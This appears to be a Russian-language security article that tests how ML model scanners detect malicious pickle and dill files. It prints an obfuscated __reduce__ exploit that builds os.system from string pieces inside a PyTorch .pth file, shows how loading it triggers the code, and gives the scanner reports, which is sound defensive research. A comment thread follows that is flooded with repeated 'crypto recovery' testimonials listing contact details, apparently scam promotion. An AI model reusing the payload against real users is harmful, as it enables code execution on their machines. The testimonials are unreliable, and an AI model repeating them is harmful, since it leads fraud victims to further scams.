    "analysis": "`from numpy import save` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy._core.multiarray import _reconstruct` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import ndarray` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import dtype` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\nVariable `_var4` is assigned value `save('/tmp/hacked.npy', _var3)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
    "detailed_results": {
        "AnalysisResult": {
            "NonStandardImports": "from numpy import dtype",
            "UnusedVariables": [
                "_var4",
                "save('/tmp/hacked.npy', _var3)"
            ]
        }
    }
}
Отчет modelaudit (для краткости удалены проверки, не выдавшие результат)
{
  "bytes_scanned": 360,
  "issues": [
    {
      "message": "Found REDUCE opcode with non-allowlisted global: _reconstruct.ndarray. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\bypass_numpy.pkl (pos 283)",
      "details": {
        "position": 283,
        "opcode": "REDUCE",
        "associated_global": "_reconstruct.ndarray",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.135
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766489299.795178,
      "type": "pickle_check"
    },
    {
      "message": "STACK_GLOBAL opcode found without sufficient string context",
      "severity": "info",
      "location": "...\\bypass_numpy.pkl (pos 302)",
      "details": {
        "position": 302,
        "opcode": "STACK_GLOBAL",
        "stack_size": 1,
        "ml_context_confidence": 0.135
      },
      "why": "STACK_GLOBAL requires two strings on the stack (module and function name) to import and access module attributes. Insufficient context prevents determining which module is being accessed.",
      "timestamp": 1766489299.7956276,
      "type": "pickle_check"
    }
  ],
  "checks": [
  < СОКРАЩЕНО >
  ],
  "files_scanned": 1,
  "assets": [
    {
      "path": "...\\bypass_numpy.pkl",
      "type": "pickle",
      "size": 360
    }
  ],
  "has_errors": false,
  "scanner_names": [],
  "file_metadata": {
    "...\\bypass_numpy.pkl": {
      "file_size": 360,
      "file_hashes": {
        "md5": "218060b2af6fa1e7cfde170a407c22ed",
        "sha256": "a7d0548dea9f44333a0096f3712d14bd2cdf4ab487934a8553942cd9735e83cd",
        "sha512": "45e786da9657fb51e98a887c3870a6a54ac3060b00a20b4dc50102a64d72bde45424c0a57844e89841e3188daa8b2b8c99564689a5e594a1da6881c84a039b79"
      },
      "max_stack_depth": 7,
      "opcode_count": 152,
      "suspicious_count": 0,
      "ml_context": {
        "frameworks": {
          "sklearn": {
            "confidence": 0.135,
            "indicators": [],
            "file_patterns": []
          }
        },
        "overall_confidence": 0.135,
        "is_ml_content": false,
        "detected_patterns": [
          "module:numpy(1)"
        ],
        "optimization_hints": []
      },
      "license_info": [],
      "copyright_notices": [],
      "license_files_nearby": [],
      "is_dataset": true,
      "is_model": true,
      "risk_score": 0.0,
      "scan_timestamp": 1766489299.7962291
    }
  },
  "content_hash": "efe87668d7c0ba45b2294d6fba02025c30c1ce2a8537716f9a9216b3c7576af0",
  "start_time": 1766489299.430575,
  "duration": 0.368363618850708,
  "total_checks": 16,
  "passed_checks": 14,
  "failed_checks": 1,
  "success": true
}

Использование форматов, расширяющих функционал Pickle

Существуют протоколы, которые позволяют сериализовать еще больший список объектов по сравнению со стандартным Pickle. Примерами таких форматов являются dill и cloudpickle.

В качестве альтернативного механизма сериализации PyTorch поддерживает Dill. Его ключевое преимущество — возможность сохранять функции и лямбда-выражения. Пример такой сериализации:

import torch
import dill

def run_cmd(cmd):
    x = '__im'
    y = 'po'
    z = 'rt__'
    o = 'o'
    s = 's'
    import builtins
    module = getattr(builtins, x + y + z)(o + s)
    getattr(module, 'sys' + 'tem')(cmd)

class Exploit:
    def __reduce__(self):
        return (run_cmd, ("echo HACKED >> /tmp/hacked_obf",))

model = torch.nn.Linear(1, 1)
exploit = Exploit()

torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Представленный код помимо использования dill демонстрирует своеобразную обфускацию кода внутри вызываемой функции.

Для успешной (с точки зрения злоумышленника) загрузки malicious.pth можно использовать несколько подходов:

  • torch.load('malicious.pth', pickle_module=dill)

  • torch.load('malicious.pth', weights_only=False)

Последнему варианту стоит уделить особое внимание, так как до PyTorch 2.6 атрибут weights_only не был задан как True по умолчанию и вдобавок к этому поиск на GitHub по запросу "torch" AND "weights_only=False" выдает более 80 тыс. результатов.

Сводка проверок собранного malicious.pth всеми сканерами (отчеты сканеров представлены ниже):

Сканер

Найдены ли проблемы

Уровень опасности

Обозначения сработавших проверок

picklescan

modelscan

fickling

не поддерживает формат .pth

modelaudit

warning, critical

1. Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected

2. Legacy dangerous pattern detected: __import__

3. Suspicious reference dill._dill._create_code

4. ...

Отчет picklescan:

$ picklescan --globals --path .\malicious.pth
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
All globals found:
  * dill._dill._create_code - suspicious
  * _codecs.encode - suspicious
  * torch.nn.modules.linear.Linear - suspicious
  * __main__.__dict__ - suspicious
  * torch._utils._rebuild_tensor_v2 - innocuous
  * collections.OrderedDict - innocuous
  * torch._utils._rebuild_parameter - suspicious
  * dill._dill._load_type - suspicious
  * dill._dill._create_function - suspicious
  * torch.FloatStorage - innocuous

Отчет modelscan:

$ modelscan -p malicious.pth
No settings file detected at /.../modelscan-settings.toml. Using defaults. 

Scanning /.../malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---

 No issues found! 🎉

--- Skipped ---
Отчет modelaudit (для краткости из отчета удалены проверки, не выдавшие результат)
{
  "bytes_scanned": 5522,
  "issues": [
    {
      "message": "Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "cve_id": "CVE-2025-32434",
        "opcode_counts": {
          "STACK_GLOBAL": 3,
          "GLOBAL": 9,
          "OBJ": 1,
          "NEWOBJ": 1,
          "REDUCE": 3
        },
        "total_dangerous_opcodes": 17,
        "unique_opcode_types": [
          "OBJ",
          "NEWOBJ",
          "STACK_GLOBAL",
          "GLOBAL",
          "REDUCE"
        ],
        "code_execution_risks": [
          "New-style object creation",
          "Module import and attribute access",
          "Object creation code execution",
          "Direct code execution patterns",
          "Dynamic import and attribute access",
          "__reduce__ method exploitation"
        ],
        "import_analysis": {
          "total_imports": 10,
          "all_legitimate": false,
          "found_malicious": [],
          "found_imports": [
            "__main__.__dict__",
            "_codecs.encode",
            "dill._dill._create_function",
            "torch.nn.modules.linear.Linear",
            "torch.FloatStorage",
            "torch._utils._rebuild_parameter",
            "torch._utils._rebuild_tensor_v2",
            "dill._dill._load_type",
            "collections.OrderedDict",
            "dill._dill._create_code"
          ]
        },
        "safetensors_available": false,
        "assessment": "suspicious",
        "vulnerability_description": "The weights_only=True parameter in torch.load() does not prevent code execution from pickle files, contrary to common security assumptions.",
        "recommendation": "Model contains unusual pickle patterns that require manual review. Consider using SafeTensors format or verifying model source before deployment.",
        "affected_pytorch_versions": "All versions ≤2.5.1",
        "fixed_in": "PyTorch 2.6.0"
      },
      "timestamp": 1766529556.1877365,
      "type": "pytorch_zip_check"
    },
    {
      "message": "Legacy dangerous pattern detected: __import__",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "pattern": "__import__",
        "detection_method": "legacy_pattern_matching",
        "pickle_filename": "no_obf/data.pkl"
      },
      "timestamp": 1766529556.176348,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_code",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_create_code",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1856666,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._load_type",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_load_type",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1858368,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_function",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_create_function",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1860723,
      "type": "pickle_check"
    },
    {
      "message": "Found NEWOBJ opcode - potential code execution",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 53)",
      "details": {
        "position": 53,
        "opcode": "NEWOBJ",
        "argument": "None",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The NEWOBJ opcode creates new-style class instances. It can execute initialization code and is commonly used in pickle exploits.",
      "timestamp": 1766529556.1862166,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._load_type",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 438)",
      "details": {
        "module": "dill._dill",
        "function": "_load_type",
        "position": 438,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._load_type",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1864522,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: dill._dill._load_type. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 476)",
      "details": {
        "position": 476,
        "opcode": "REDUCE",
        "associated_global": "dill._dill._load_type",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.186561,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_function",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 977)",
      "details": {
        "module": "dill._dill",
        "function": "_create_function",
        "position": 977,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._create_function",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1866915,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_code",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1009)",
      "details": {
        "module": "dill._dill",
        "function": "_create_code",
        "position": 1009,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._create_code",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1867952,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: _codecs.encode. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1094)",
      "details": {
        "position": 1094,
        "opcode": "REDUCE",
        "associated_global": "_codecs.encode",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.1869295,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: __main__.__dict__. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1737)",
      "details": {
        "position": 1737,
        "opcode": "REDUCE",
        "associated_global": "__main__.__dict__",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.1870513,
      "type": "pickle_check"
    }
  ],
  "checks": [
    < СОКРАЩЕНО >
  ],
  "files_scanned": 1,
  "assets": [
    {
      "path": "...\\torch_obfuscated\\no_obf.pth",
      "type": "pytorch_zip",
      "size": 3421
    }
  ],
  "has_errors": false,
  "scanner_names": [],
  "file_metadata": {
    "...\\torch_obfuscated\\no_obf.pth": {
      "file_size": 3421,
      "file_hashes": {
        "md5": "84a4506f4c738417a0448d1e3768f230",
        "sha256": "bbe230a6e86e6200662186f400e76f6bbbe5f10097950f9bbe3692c2d377a7d2",
        "sha512": "3cbb48b4bc86427f889b72269ac72d38e2cfd9a3f47856db2f2ca6a13fec14ec30e4a3d82f9d9cd223baa2acbaca0d9842371cc9029d6a546e67a38e8c8c9e68"
      },
      "max_stack_depth": 18,
      "opcode_count": 345,
      "suspicious_count": 6,
      "ml_context": {
        "frameworks": {
          "pytorch": {
            "confidence": 0.315,
            "indicators": [],
            "file_patterns": []
          }
        },
        "overall_confidence": 0.315,
        "is_ml_content": true,
        "detected_patterns": [
          "module:torch(4)",
          "module:collections(1)"
        ],
        "optimization_hints": []
      },
      "license_info": [],
      "copyright_notices": [],
      "license_files_nearby": [],
      "is_dataset": false,
      "is_model": true,
      "risk_score": 0.0,
      "scan_timestamp": 1766529556.1899319,
      "pickle_files": [
        "no_obf/data.pkl"
      ]
    }
  },
  "content_hash": "9b51092dc796284028b3f7f6cf3d6ac7d11f9b8d761127d01885ed0a0cffe9a1",
  "start_time": 1766529554.3617566,
  "duration": 1.8323705196380615,
  "total_checks": 24,
  "passed_checks": 18,
  "failed_checks": 6,
  "success": true
}

Выводы

Как бы это банально ни звучало – использование непроверенных моделей машинного обучения повышает риски наступления опасного инцидента ИБ, но для снижения этих рисков недостаточно выбрать какой-то новый сканер, ведь у каждого из них есть свои ограничения как по применяемым типам проверок, так и по поддерживаемым форматам сериализации моделей.

Среди всех проанализированных инструментов самым зрелым оказался modeaudit, опережая всех конкурентов по основным, на мой взгляд, параметрам:

  • Подробная документация,

  • Множество поддерживаемых для сканирования форматов хранения моделей,

  • Множество разнообразных типов проверок.

Стоит уточнить, что в данном обзоре никак не фигурировали возможные ошибки первого рода (False Positive). Но если вы не занимаетесь проверкой сотен и более моделей в день, то для вас основной проблемой при сканировании будет ошибка второго рода, то есть, False Negative.

P.S.: Выражаю благодарность за помощь в доработке статьи Артёму Семёнову, автору канала @pwnai

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    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 21.11.25 10:56 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 22.11.25 04:41 VERONICAFREDDIE809

    Earlier this year, I made a mistake that changed everything. I downloaded what I thought was a legitimate trading app I’d found through a Telegram channel. At first, everything looked real until I tried to withdraw. My entire investment vanished into a bot account, and that’s when the truth hit me: I had been scammed. I can’t describe the feeling. It was as if the ground dropped out from under me. I blamed myself. I felt stupid, ashamed, helpless every painful emotion at once. For a while, I couldn’t even talk about it. I thought no one would understand. But then I got connected to the best female expert AGENT Jasmine Lopez,,( [email protected] ) ,She didn’t brush me off or judge me. She took my fear seriously. She followed leads I didn’t even know existed, and identified multiple off-chain indicators and wallet clusters linked to the scammer network, she helped me understand what had truly happened behind the scenes. For the first time since everything fell apart, I felt hope. Hearing that other people students, parents, hardworking people had been targeted the same way made me realize I wasn’t alone. What happened to us wasn’t stupidity. It was a coordinated attack. We were prey in a system built to deceive. And somehow, through all the chaos, Agent Jasmine stepped in and shined a light into the darkest moment of my life. I’m still healing from the experience. It changed me. But it also reminded me that even when you think you’re at the end, sometimes a lifeline appears where you least expect it. Contact her at [email protected] WhatsApp at +44 736-644-5035.

  • 22.11.25 22:04 wendytaylor015

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  • 22.11.25 22:04 wendytaylor015

    My name is Wendy Taylor, I'm from Los Angeles, i want to announce to you Viewer how Capital Crypto Recover help me to restore my Lost Bitcoin, I invested with a Crypto broker without proper research to know what I was hoarding my hard-earned money into scammers, i lost access to my crypto wallet or had your funds stolen? Don’t worry Capital Crypto Recover is here to help you recover your cryptocurrency with cutting-edge technical expertise, With years of experience in the crypto world, Capital Crypto Recover employs the best latest tools and ethical hacking techniques to help you recover lost assets, unlock hacked accounts, Whether it’s a forgotten password, Capital Crypto Recover has the expertise to help you get your crypto back. a security company service that has a 100% success rate in the recovery of crypto assets, i lost wallet and hacked accounts. I provided them the information they requested and they began their investigation. To my surprise, Capital Crypto Recover was able to trace and recover my crypto assets successfully within 24hours. Thank you for your service in helping me recover my $647,734 worth of crypto funds and I highly recommend their recovery services, they are reliable and a trusted company to any individuals looking to recover lost money. Contact email [email protected] OR Telegram @Capitalcryptorecover Call/Text Number +1 (336)390-6684 his contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 22.11.25 22:05 wendytaylor015

    My name is Wendy Taylor, I'm from Los Angeles, i want to announce to you Viewer how Capital Crypto Recover help me to restore my Lost Bitcoin, I invested with a Crypto broker without proper research to know what I was hoarding my hard-earned money into scammers, i lost access to my crypto wallet or had your funds stolen? Don’t worry Capital Crypto Recover is here to help you recover your cryptocurrency with cutting-edge technical expertise, With years of experience in the crypto world, Capital Crypto Recover employs the best latest tools and ethical hacking techniques to help you recover lost assets, unlock hacked accounts, Whether it’s a forgotten password, Capital Crypto Recover has the expertise to help you get your crypto back. a security company service that has a 100% success rate in the recovery of crypto assets, i lost wallet and hacked accounts. I provided them the information they requested and they began their investigation. To my surprise, Capital Crypto Recover was able to trace and recover my crypto assets successfully within 24hours. Thank you for your service in helping me recover my $647,734 worth of crypto funds and I highly recommend their recovery services, they are reliable and a trusted company to any individuals looking to recover lost money. Contact email [email protected] OR Telegram @Capitalcryptorecover Call/Text Number +1 (336)390-6684 his contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 23.11.25 03:34 Matt Kegan

    SolidBlock Forensics are absolutely the best Crypto forensics team, they're swift to action and accurate

  • 23.11.25 09:54 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 23.11.25 18:01 mosbygerry

    I recently had the opportunity to work with a skilled programmer who specialized in recovering crypto assets, and the results were nothing short of impressive. The experience not only helped me regain control of my investments but also provided valuable insight into the intricacies of cryptocurrency technology and cybersecurity. The journey began when I attempted to withdraw $183,000 from an investment firm, only to encounter a series of challenges that made it impossible for me to access my funds. Despite seeking assistance from individuals claiming to be Bitcoin miners, I was unable to recover my investments. The situation was further complicated by the fact that all my deposits were made using various cryptocurrencies that are difficult to trace. However, I persisted in my pursuit of recovery, driven by the determination to reclaim my losses. It was during this time that I discovered TechY Force Cyber Retrieval, a team of experts with a proven track record of successfully recovering crypto assets. With their assistance, I was finally able to recover my investments, and in doing so, gained a deeper understanding of the complex mechanisms that underpin cryptocurrency transactions. The experience taught me that with the right expertise and guidance, even the most seemingly insurmountable challenges can be overcome. I feel a sense of obligation to share my positive experience with others who may have fallen victim to cryptocurrency scams or are struggling to recover their investments. If you find yourself in a similar situation, I highly recommend seeking the assistance of a trustworthy and skilled programmer, such as those at TechY Force Cyber Retrieval. WhatsApp (+1561726 3697) or (+1561726 3697). Their expertise and dedication to helping individuals recover their crypto assets are truly commendable, and I have no hesitation in endorsing their services to anyone in need. By sharing my story, I hope to provide a beacon of hope for those who may have lost faith in their ability to recover their investments and to emphasize the importance of seeking professional help when navigating the complex world of cryptocurrency.

  • 24.11.25 11:43 michaeldavenport238

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 24.11.25 11:43 michaeldavenport238

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 24.11.25 16:34 Mundo

    I wired 120k in crypto to the wrong wallet. One dumb slip-up, and poof gone. That hit me hard. Lost everything I had built up. Crypto moves on the blockchain. It's like a public record book. Once you send, that's it. No take-backs. Banks can fix wire mistakes. Not here. Transfers stick forever. a buddy tipped me off right away. Meet Sylvester Bryant. Guy's a pro at pulling back lost crypto. Handles cases others can't touch, he spots scammer moves cold. Follows money down secret paths. Mixers. Fake trades. Hidden swaps. You name it, he tracks it. this happens to tons of folks. Fat-finger a key. Miss one digit in the address. Boom. Billions vanish like that each year. I panicked. Figured my stash was toast for good. Bryant flipped the script. He jumps on hard jobs quick. Digs deep. Cracks the trail. Got my funds back safe. You're in the same boat? Don't sit there. Hit him up today. Email [email protected]. WhatsApp +1 512 577 7957. Or +44 7428 662701. Time's your enemy here. Scammers spend fast. Chains churn non-stop. Move now. Grab your cash back home.

  • 25.11.25 05:15 michaeldavenport218

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 25.11.25 13:31 mickaelroques52

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  • 25.11.25 13:31 mickaelroques52

    I’ve always considered myself a careful person when it comes to money, but even the most cautious people can be fooled. A few months ago, I invested some of my Bitcoin into what I believed was a legitimate platform. Everything seemed right, professional website, live chat support and even convincing testimonials. I thought I had done my homework. But when I tried to withdraw my funds, everything fell apart. My account was blocked, the so-called support team disappeared and I realized I had been scammed. The shock was overwhelming. I couldn’t believe I had fallen for it. That Bitcoin represented years of savings and sacrifices and it felt like everything had been stolen from me in seconds. I didn’t sleep for days and I was angry at myself for trusting the wrong people. In my desperation, I started searching for solutions and came across Rapid Digital Recovery. At first, I thought it was just another promise that would lead nowhere. But after speaking with them, I realized this was different. They were professional, clear and understanding. They explained exactly how they track stolen funds through blockchain forensics and what steps would be taken in my case. I gave them all the transaction details and they immediately got to work. What impressed me most was their transparency, they gave me updates regularly and kept me involved in the process. After weeks of investigation, they achieved what I thought was impossible: they recovered my stolen Bitcoin and safely returned it to my wallet. The relief I felt that day is indescribable. I went from feeling hopeless and broken to feeling like I had been given a second chance. I am forever grateful to Rapid Digital Recovery. They didn’t just recover my money, they restored my peace of mind. If you’re reading this because you’ve been scammed, please know you’re not alone and that recovery is possible. I’m living proof that with the right help, you can get your funds back... Contact Info Below WhatSapp:  + 1 414 807 1485 Email:  rapiddigitalrecovery (@) execs. com Telegram:  + 1 680 5881 631

  • 26.11.25 18:18 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 26.11.25 18:20 harristhomas7376

